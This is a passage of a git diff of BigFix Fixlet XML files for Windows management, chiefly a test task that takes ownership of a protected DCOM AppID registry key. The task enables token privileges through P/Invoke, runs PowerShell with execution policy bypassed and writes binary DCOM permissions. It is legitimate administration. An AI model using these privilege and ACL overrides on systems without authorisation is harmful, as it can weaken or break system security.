+waithidden cmd.exe /C vssadmin Resize ShadowStorage /For=C: /On=C: /MaxSize=10GB</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10_2016) (TEST!!!) (export) (25565).bes b/Sites/Windows Management/Fixlets/Fixlets/Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10_2016) (TEST!!!) (export) (25565).bes
index 075490e5d..7c743851e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10_2016) (TEST!!!) (export) (25565).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10_2016) (TEST!!!) (export) (25565).bes	
@@ -1,196 +1,196 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10/2016) (TEST!!!) (export)
-  ID       : 25565
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2018-11-08T14:52:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10/2016) (TEST!!!) (export)</Title>
-    <Description><![CDATA[<P>Example message:</P>
-<P>The application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID <BR>{D63B10C5-BB46-4990-A94F-E40B9D520160}<BR>&nbsp;and APPID <BR>{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}<BR>&nbsp;to the user NT AUTHORITY\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (Using LRPC) running in the application container Unavailable SID (Unavailable). This security permission can be modified using the Component Services administrative tool.</P>
-<P>Microsoft article indicates this should be ignored:&nbsp; <A href="https://support.microsoft.com/en-us/help/4022522/dcom-event-id-10016-is-logged-in-windows-10-windows-server">https://support.microsoft.com/en-us/help/4022522/dcom-event-id-10016-is-logged-in-windows-10-windows-server</A></P>
-<P>Many community forums indicate it may be an actual problem; and the presence of so many error messages from the Event Log hampers troubleshooting in all scenarios.</P>
-<P><A href="https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/windows-10-error-10016-from-run-time-broker-cannot/3f21a980-7f1e-48e5-85ea-6aa8843ecf40">https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/windows-10-error-10016-from-run-time-broker-cannot/3f21a980-7f1e-48e5-85ea-6aa8843ecf40</A> </P>
-<P><A href="https://social.technet.microsoft.com/Forums/en-US/fd339448-8430-4a60-9377-71fd8aae228d/comdtc-setup-with-powershell?forum=winserverpowershell">https://social.technet.microsoft.com/Forums/en-US/fd339448-8430-4a60-9377-71fd8aae228d/comdtc-setup-with-powershell?forum=winserverpowershell</A> </P>
-<P>The DCOM permissions are controlled by REG_BINARY values in a could of locations. <BR>HKLM\Software\Classes\AppID\{guid} <BR>AccessPermission:REG_BINARY <BR>LaunchPermission:REG_BINARY <BR>Each of these are binary-encoded values representing launch permissions. I've come across some PowerShell snippets that might be used to read and write these values. Changing these values first requires taking ownership of the registry key, as these are owned by TrustedInstaller.&nbsp; Given the complexity of the PowerShell scripts to apply permissions, it appears that it may be simpler to create the appropriate permissions on one host, capture those settings, and simply use reg.exe to distribute that configuration to other hosts.</P>
-<P>&nbsp;Task Notes:</P>
-<UL>
-<LI>To identify the correct permissions to set, examine the Event Log to determine which security principal is being denied Access or Launch permissions
-<LI>Take Ownership of the affected AppID by using a modified version of this Task, or the Template (which only takes ownership without changing the DCOM launch/activation permissions themselves).&nbsp; Then, use DCOMCNFG.EXE to update the permissions of the AppID, and craft a relevance using the updated registry values.
-<LI>Pro tip:&nbsp; The Relevance Statement for a given AppID can be auto-generated via the following in the Fixlet Debugger:
-<UL>
-<LI><FONT color=#ff0000 size=2><FONT color=#ff0000 size=2>
-<P>q:</FONT></FONT><FONT size=2> (</FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"exists keys %22"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> pathname </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>it</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"%22 whose (not exists values %22AccessPermission%22 whose (it as string = %22"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> value </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"AccessPermission"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>it</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>as</FONT></FONT><FONT size=2> string </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"%22) of it OR not exists values %22LaunchPermission%22 whose (it as string = %22"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> value </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"LaunchPermission"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>it</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>as</FONT></FONT><FONT size=2> string </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"%22 ) of it) of native registry"</FONT></FONT><FONT size=2>) </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> keys </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> native registry</P></FONT><FONT color=#ff0000 size=2><FONT color=#ff0000 size=2>
-<P>A:</FONT></FONT><FONT size=2> exists keys "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}" whose (not exists values "AccessPermission" whose (it as string = "01001480bc000000c80000001400000034000000020020000100000011001400040000000101000000000010001000000000000002008800060000000000180003000000010200000000000520000000200200000000180003000000010200000000000f0200000001000000000014000300000001010000000000050a000000000014000300000001010000000000051200000000001400030000000101000000000005130000000000140003000000010100000000000514000000010100000000000512000000010100000000000512000000") of it OR not exists values "LaunchPermission" whose (it as string = "01001480a8000000b4000000140000003400000002002000010000001100140004000000010100000000001000100000000000000200740005000000000018000b00000001020000000000052000000020020000000018000b000000010200000000000f0200000001000000000014000b000000010100000000000504000000000014000b00000001010000000000050a000000000014000b000000010100000000000512000000010100000000000512000000010100000000000512000000" ) of it) of native registry</FONT></P></LI></UL></LI></UL>
-<P><FONT size=2><STRONG>Notes on testing.</STRONG>&nbsp; This&nbsp;task makes changes to some&nbsp;<EM>very</EM> deep system-level functions so treat it with care!&nbsp; </P></FONT>]]></Description>
-    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
-    <Relevance><![CDATA[version of operating system >= version "10"]]></Relevance>
-    <Relevance>exists keys &quot;{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}&quot; whose (not exists values &quot;AccessPermission&quot; whose (it as string = &quot;01001480bc000000c80000001400000034000000020020000100000011001400040000000101000000000010001000000000000002008800060000000000180003000000010200000000000520000000200200000000180003000000010200000000000f0200000001000000000014000300000001010000000000050a000000000014000300000001010000000000051200000000001400030000000101000000000005130000000000140003000000010100000000000514000000010100000000000512000000010100000000000512000000&quot;) of it OR not exists values &quot;LaunchPermission&quot; whose (it as string = &quot;01001480a8000000b4000000140000003400000002002000010000001100140004000000010100000000001000100000000000000200740005000000000018000b00000001020000000000052000000020020000000018000b000000010200000000000f0200000001000000000014000b000000010100000000000504000000000014000b00000001010000000000050a000000000014000b000000010100000000000512000000010100000000000512000000010100000000000512000000&quot; ) of it) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID&quot; of native registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2018-11-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 08 Nov 2018 22:51:38 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
-
-// Special thanks to the following from which portions of this are taken
-// https://social.technet.microsoft.com/Forums/windowsserver/en-US/e718a560-2908-4b91-ad42-d392e7f8f1ad/take-ownership-of-a-registry-key-and-change-permissions?forum=winserverpowershell
-// http://powershellpainrelief.blogspot.com/2014/07/powershell-working-with-registry-part-2.html
-// http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx
-
-action uses wow64 redirection false
-
-parameter "RootKey"="LocalMachine"
-parameter "RegKey"="SOFTWARE\Classes\AppID\{{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}"
-parameter "FullKeyPath"="HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}"
-parameter "NewOwner"="NT AUTHORITY\System"
-parameter "AddACL"="{"%22NT AUTHORITY\System%22,%22FullControl%22,@(%22ObjectInherit%22,%22ContainerInherit%22),%22None%22,%22Allow%22"}"
-
-parameter "AccessPermission"="01001480bc000000c80000001400000034000000020020000100000011001400040000000101000000000010001000000000000002008800060000000000180003000000010200000000000520000000200200000000180003000000010200000000000f0200000001000000000014000300000001010000000000050a000000000014000300000001010000000000051200000000001400030000000101000000000005130000000000140003000000010100000000000514000000010100000000000512000000010100000000000512000000"
-parameter "LaunchPermission"="01001480a8000000b4000000140000003400000002002000010000001100140004000000010100000000001000100000000000000200740005000000000018000b00000001020000000000052000000020020000000018000b000000010200000000000f0200000001000000000014000b000000010100000000000504000000000014000b00000001010000000000050a000000000014000b000000010100000000000512000000010100000000000512000000010100000000000512000000"
-
-//Example RootKey values
-// LocalMachine; ClassesRoot; CurrentConfig; CurrentUser; Users
-
-// Example RegistryAccessFules
-// "NT AUTHORITY\System","FullControl","Allow"  ==> Applies to this key only
-// "NT AUTHORITY\System","FullControl",@("ObjectInherit","ContainerInherit"),"None","Allow"  ==> applies to this key, subkeys, and values
-
-delete __createfile
-createfile until EOF_EOF_EOF
-
-##Taken with thanks from https://social.technet.microsoft.com/Forums/windowsserver/en-US/e718a560-2908-4b91-ad42-d392e7f8f1ad/take-ownership-of-a-registry-key-and-change-permissions?forum=winserverpowershell
-
-function enable-privilege {
- param(
-  ## The privilege to adjust. This set is taken from
-  ## http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx
-  [ValidateSet(
-   "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege",
-   "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege",
-   "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
-   "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege",
-   "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege",
-   "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", "SeManageVolumePrivilege",
-   "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege",
-   "SeRestorePrivilege", "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege",
-   "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", "SeSystemtimePrivilege",
-   "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
-   "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")]
-  $Privilege,
-  ## The process on which to adjust the privilege. Defaults to the current process.
-  $ProcessId = $pid,
-  ## Switch to disable the privilege, rather than enable it.
-  [Switch] $Disable
- )
-
- ## Taken from P/Invoke.NET with minor adjustments.
- $definition = @'
- using System;
- using System.Runtime.InteropServices;
-
- public class AdjPriv
- {
-  [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
-  internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
-   ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
-
-  [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
-  internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
-  [DllImport("advapi32.dll", SetLastError = true)]
-  internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
-  [StructLayout(LayoutKind.Sequential, Pack = 1)]
-  internal struct TokPriv1Luid
-  {
-   public int Count;
-   public long Luid;
-   public int Attr;
-  }
-
-  internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
-  internal const int SE_PRIVILEGE_DISABLED = 0x00000000;
-  internal const int TOKEN_QUERY = 0x00000008;
-  internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
-  public static bool EnablePrivilege(long processHandle, string privilege, bool disable)
-  {
-   bool retVal;
-   TokPriv1Luid tp;
-   IntPtr hproc = new IntPtr(processHandle);
-   IntPtr htok = IntPtr.Zero;
-   retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
-   tp.Count = 1;
-   tp.Luid = 0;
-   if(disable)
-   {
-    tp.Attr = SE_PRIVILEGE_DISABLED;
-   }
-   else
-   {
-    tp.Attr = SE_PRIVILEGE_ENABLED;
-   }
-   retVal = LookupPrivilegeValue(null, privilege, ref tp.Luid);
-   retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
-   return retVal;
-  }
- }
-'@
-
- $processHandle = (Get-Process -id $ProcessId).Handle
- $type = Add-Type $definition -PassThru
- $type[0]::EnablePrivilege($processHandle, $Privilege, $Disable)
-}
-
-enable-privilege SeTakeOwnershipPrivilege
-enable-privilege seRestorePrivilege
-
-$key = [Microsoft.Win32.Registry]::{parameter "RootKey" of action}.OpenSubKey("{parameter "RegKey" of action}",[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,[System.Security.AccessControl.RegistryRights]::takeownership)
-
-## *** Note from Jason Walker - I find the following to not be true if the system account has at least "Read Permissions" to the key.
-## Rather than starting from an empty ACL list, I instead try to start from the existing ACL list on the registry key and then modify it as needed
-# You must get a blank acl for the key b/c you do not currently have access
-#$acl = $key.GetAccessControl([System.Security.AccessControl.AccessControlSections]::None)
-
-$acl = $key.GetAccessControl()
-$me = [System.Security.Principal.NTAccount]"{parameter "NewOwner" of action}"
-$acl.SetOwner($me)
-$key.SetAccessControl($acl)
-
-# After you have set owner you need to get the acl with the perms so you can modify it.
-$acl = $key.GetAccessControl()
-$rule = New-Object System.Security.AccessControl.RegistryAccessRule ({parameter "AddACL" of action})
-$acl.AddAccessRule($rule)
-$key.SetAccessControl($acl)
-
-$key.Close()
-
-EOF_EOF_EOF
-
-
-delete TakeOwnerReg.ps1
-move __createfile TakeOwnerReg.ps1
-
-waithidden powershell.exe -ExecutionPolicy Bypass -File TakeOwnerReg.ps1
-
-continue if {exit code of action = 0}
-
-waithidden reg.exe add "{parameter "FullKeyPath" of action}" /v AccessPermission /t REG_BINARY /d {parameter "AccessPermission" of action}  /f
-waithidden reg.exe add "{parameter "FullKeyPath" of action}" /v LaunchPermission /t REG_BINARY /d {parameter "LaunchPermission" of action} /f
-
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10/2016) (TEST!!!) (export)
+  ID       : 25565
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2018-11-08T14:52:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10/2016) (TEST!!!) (export)</Title>
+    <Description><![CDATA[<P>Example message:</P>
+<P>The application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID <BR>{D63B10C5-BB46-4990-A94F-E40B9D520160}<BR>&nbsp;and APPID <BR>{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}<BR>&nbsp;to the user NT AUTHORITY\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (Using LRPC) running in the application container Unavailable SID (Unavailable). This security permission can be modified using the Component Services administrative tool.</P>
+<P>Microsoft article indicates this should be ignored:&nbsp; <A href="https://support.microsoft.com/en-us/help/4022522/dcom-event-id-10016-is-logged-in-windows-10-windows-server">https://support.microsoft.com/en-us/help/4022522/dcom-event-id-10016-is-logged-in-windows-10-windows-server</A></P>
+<P>Many community forums indicate it may be an actual problem; and the presence of so many error messages from the Event Log hampers troubleshooting in all scenarios.</P>
+<P><A href="https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/windows-10-error-10016-from-run-time-broker-cannot/3f21a980-7f1e-48e5-85ea-6aa8843ecf40">https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/windows-10-error-10016-from-run-time-broker-cannot/3f21a980-7f1e-48e5-85ea-6aa8843ecf40</A> </P>
+<P><A href="https://social.technet.microsoft.com/Forums/en-US/fd339448-8430-4a60-9377-71fd8aae228d/comdtc-setup-with-powershell?forum=winserverpowershell">https://social.technet.microsoft.com/Forums/en-US/fd339448-8430-4a60-9377-71fd8aae228d/comdtc-setup-with-powershell?forum=winserverpowershell</A> </P>
+<P>The DCOM permissions are controlled by REG_BINARY values in a could of locations. <BR>HKLM\Software\Classes\AppID\{guid} <BR>AccessPermission:REG_BINARY <BR>LaunchPermission:REG_BINARY <BR>Each of these are binary-encoded values representing launch permissions. I've come across some PowerShell snippets that might be used to read and write these values. Changing these values first requires taking ownership of the registry key, as these are owned by TrustedInstaller.&nbsp; Given the complexity of the PowerShell scripts to apply permissions, it appears that it may be simpler to create the appropriate permissions on one host, capture those settings, and simply use reg.exe to distribute that configuration to other hosts.</P>
+<P>&nbsp;Task Notes:</P>
+<UL>
+<LI>To identify the correct permissions to set, examine the Event Log to determine which security principal is being denied Access or Launch permissions
+<LI>Take Ownership of the affected AppID by using a modified version of this Task, or the Template (which only takes ownership without changing the DCOM launch/activation permissions themselves).&nbsp; Then, use DCOMCNFG.EXE to update the permissions of the AppID, and craft a relevance using the updated registry values.
+<LI>Pro tip:&nbsp; The Relevance Statement for a given AppID can be auto-generated via the following in the Fixlet Debugger:
+<UL>
+<LI><FONT color=#ff0000 size=2><FONT color=#ff0000 size=2>
+<P>q:</FONT></FONT><FONT size=2> (</FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"exists keys %22"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> pathname </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>it</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"%22 whose (not exists values %22AccessPermission%22 whose (it as string = %22"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> value </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"AccessPermission"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>it</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>as</FONT></FONT><FONT size=2> string </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"%22) of it OR not exists values %22LaunchPermission%22 whose (it as string = %22"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> value </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"LaunchPermission"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>it</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>as</FONT></FONT><FONT size=2> string </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"%22 ) of it) of native registry"</FONT></FONT><FONT size=2>) </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> keys </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> native registry</P></FONT><FONT color=#ff0000 size=2><FONT color=#ff0000 size=2>
+<P>A:</FONT></FONT><FONT size=2> exists keys "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}" whose (not exists values "AccessPermission" whose (it as string = "01001480bc000000c80000001400000034000000020020000100000011001400040000000101000000000010001000000000000002008800060000000000180003000000010200000000000520000000200200000000180003000000010200000000000f0200000001000000000014000300000001010000000000050a000000000014000300000001010000000000051200000000001400030000000101000000000005130000000000140003000000010100000000000514000000010100000000000512000000010100000000000512000000") of it OR not exists values "LaunchPermission" whose (it as string = "01001480a8000000b4000000140000003400000002002000010000001100140004000000010100000000001000100000000000000200740005000000000018000b00000001020000000000052000000020020000000018000b000000010200000000000f0200000001000000000014000b000000010100000000000504000000000014000b00000001010000000000050a000000000014000b000000010100000000000512000000010100000000000512000000010100000000000512000000" ) of it) of native registry</FONT></P></LI></UL></LI></UL>
+<P><FONT size=2><STRONG>Notes on testing.</STRONG>&nbsp; This&nbsp;task makes changes to some&nbsp;<EM>very</EM> deep system-level functions so treat it with care!&nbsp; </P></FONT>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Relevance><![CDATA[version of operating system >= version "10"]]></Relevance>
+    <Relevance>exists keys &quot;{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}&quot; whose (not exists values &quot;AccessPermission&quot; whose (it as string = &quot;01001480bc000000c80000001400000034000000020020000100000011001400040000000101000000000010001000000000000002008800060000000000180003000000010200000000000520000000200200000000180003000000010200000000000f0200000001000000000014000300000001010000000000050a000000000014000300000001010000000000051200000000001400030000000101000000000005130000000000140003000000010100000000000514000000010100000000000512000000010100000000000512000000&quot;) of it OR not exists values &quot;LaunchPermission&quot; whose (it as string = &quot;01001480a8000000b4000000140000003400000002002000010000001100140004000000010100000000001000100000000000000200740005000000000018000b00000001020000000000052000000020020000000018000b000000010200000000000f0200000001000000000014000b000000010100000000000504000000000014000b00000001010000000000050a000000000014000b000000010100000000000512000000010100000000000512000000010100000000000512000000&quot; ) of it) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-11-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 08 Nov 2018 22:51:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+// Special thanks to the following from which portions of this are taken
+// https://social.technet.microsoft.com/Forums/windowsserver/en-US/e718a560-2908-4b91-ad42-d392e7f8f1ad/take-ownership-of-a-registry-key-and-change-permissions?forum=winserverpowershell
+// http://powershellpainrelief.blogspot.com/2014/07/powershell-working-with-registry-part-2.html
+// http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx
+
+action uses wow64 redirection false
+
+parameter "RootKey"="LocalMachine"
+parameter "RegKey"="SOFTWARE\Classes\AppID\{{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}"
+parameter "FullKeyPath"="HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}"
+parameter "NewOwner"="NT AUTHORITY\System"
+parameter "AddACL"="{"%22NT AUTHORITY\System%22,%22FullControl%22,@(%22ObjectInherit%22,%22ContainerInherit%22),%22None%22,%22Allow%22"}"
+
+parameter "AccessPermission"="01001480bc000000c80000001400000034000000020020000100000011001400040000000101000000000010001000000000000002008800060000000000180003000000010200000000000520000000200200000000180003000000010200000000000f0200000001000000000014000300000001010000000000050a000000000014000300000001010000000000051200000000001400030000000101000000000005130000000000140003000000010100000000000514000000010100000000000512000000010100000000000512000000"
+parameter "LaunchPermission"="01001480a8000000b4000000140000003400000002002000010000001100140004000000010100000000001000100000000000000200740005000000000018000b00000001020000000000052000000020020000000018000b000000010200000000000f0200000001000000000014000b000000010100000000000504000000000014000b00000001010000000000050a000000000014000b000000010100000000000512000000010100000000000512000000010100000000000512000000"
+
+//Example RootKey values
+// LocalMachine; ClassesRoot; CurrentConfig; CurrentUser; Users
+
+// Example RegistryAccessFules
+// "NT AUTHORITY\System","FullControl","Allow"  ==> Applies to this key only
+// "NT AUTHORITY\System","FullControl",@("ObjectInherit","ContainerInherit"),"None","Allow"  ==> applies to this key, subkeys, and values
+
+delete __createfile
+createfile until EOF_EOF_EOF
+
+##Taken with thanks from https://social.technet.microsoft.com/Forums/windowsserver/en-US/e718a560-2908-4b91-ad42-d392e7f8f1ad/take-ownership-of-a-registry-key-and-change-permissions?forum=winserverpowershell
+
+function enable-privilege {
+ param(
+  ## The privilege to adjust. This set is taken from
+  ## http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx
+  [ValidateSet(
+   "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege",
+   "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege",
+   "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
+   "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege",
+   "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege",
+   "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", "SeManageVolumePrivilege",
+   "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege",
+   "SeRestorePrivilege", "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege",
+   "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", "SeSystemtimePrivilege",
+   "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
+   "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")]
+  $Privilege,
+  ## The process on which to adjust the privilege. Defaults to the current process.
+  $ProcessId = $pid,
+  ## Switch to disable the privilege, rather than enable it.
+  [Switch] $Disable
+ )
+
+ ## Taken from P/Invoke.NET with minor adjustments.
+ $definition = @'
+ using System;
+ using System.Runtime.InteropServices;
+
